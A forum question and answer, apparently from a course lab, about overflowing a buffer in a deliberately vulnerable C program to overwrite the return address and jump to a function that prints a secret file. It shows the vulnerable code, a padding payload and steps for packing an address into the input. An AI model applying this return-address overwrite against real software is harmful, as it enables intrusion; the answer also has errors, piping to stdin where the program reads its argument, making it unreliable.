1
votes

So, I'm trying to exploit this program that has a buffer overflow vulnerability to get/return a secret behind a locked .txt (read_secret()).

vulnerable.c //no edits here

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void read_secret() {
    FILE *fptr = fopen("/task2/secret.txt", "r");
    char secret[1024];
    fscanf(fptr, "%512s", secret);
    printf("Well done!\nThere you go, a wee reward: %s\n", secret);
    exit(0);
}

int fib(int n)
{
   if ( n == 0 )
      return 0;
   else if ( n == 1 )
      return 1;
   else
      return ( fib(n-1) + fib(n-2) );
} 

void vuln(char *name)
{
    int n = 20;
    char buf[1024];
    int f[n];
    int i;
    for (i=0; i<n; i++) {
      f[i] = fib(i);
    }
    strcpy(buf, name);
    printf("Welcome %s!\n", buf);
    for (i=0; i<20; i++) {
      printf("By the way, the %dth Fibonacci number might be %d\n", i, f[i]);
    } 
}


int main(int argc, char *argv[])
{
    if (argc < 2) {
        printf("Tell me your names, tricksy hobbitses!\n");
        return 0;
    }

    // printf("main function at %p\n", main);
    // printf("read_secret function at %p\n", read_secret);
    vuln(argv[1]);
    return 0;
}

attack.c //to be edited

#!/usr/bin/env bash
/task2/vuln "$(python -c "print 'a' * 1026")"

I know I can cause a segfault if I print large enough string, but that doesn't get me anywhere. I'm trying to get the program to execute read_secret by overwriting the return address on the stack, and returns to the read_secret function, instead of back to main.

But I'm pretty stuck here. I know I would have to use GDB to get the address of the read_secret function, but I'm kinda confused. I know that I would have to replace the main() address with the read_secret function's address, but I'm not sure how.

Thanks

1

1 Answers

0
votes

If you want to execute a function through a buffer overflow vulnerability you have to first identify the offset at which you can get a segfault. In your case I assume its 1026. The whole game is to overwrite the eip(what tells the program what to do next) and then add your own instruction.

To add your own instruction you need to know the address of said instruction and then so in gdb open your program and then type in:

x function name

Then copy the address. You then have to convert it to big or little endian format. I do it with the struct module in python.

import struct
struct.pack("<I", address) # for little endian for big endian its different

Then you have to add it to your input to the binary so something like: python -c "print 'a' * 1026 + 'the_address'" | /task2/vuln #on bash shell, not in script

If all of this doesnt work then just add a few more characters to your offset. There might be something you didnt see coming.

python -c "print 'a' * 1034 + 'the_address'" | /task2/vuln

Hope that answers your question.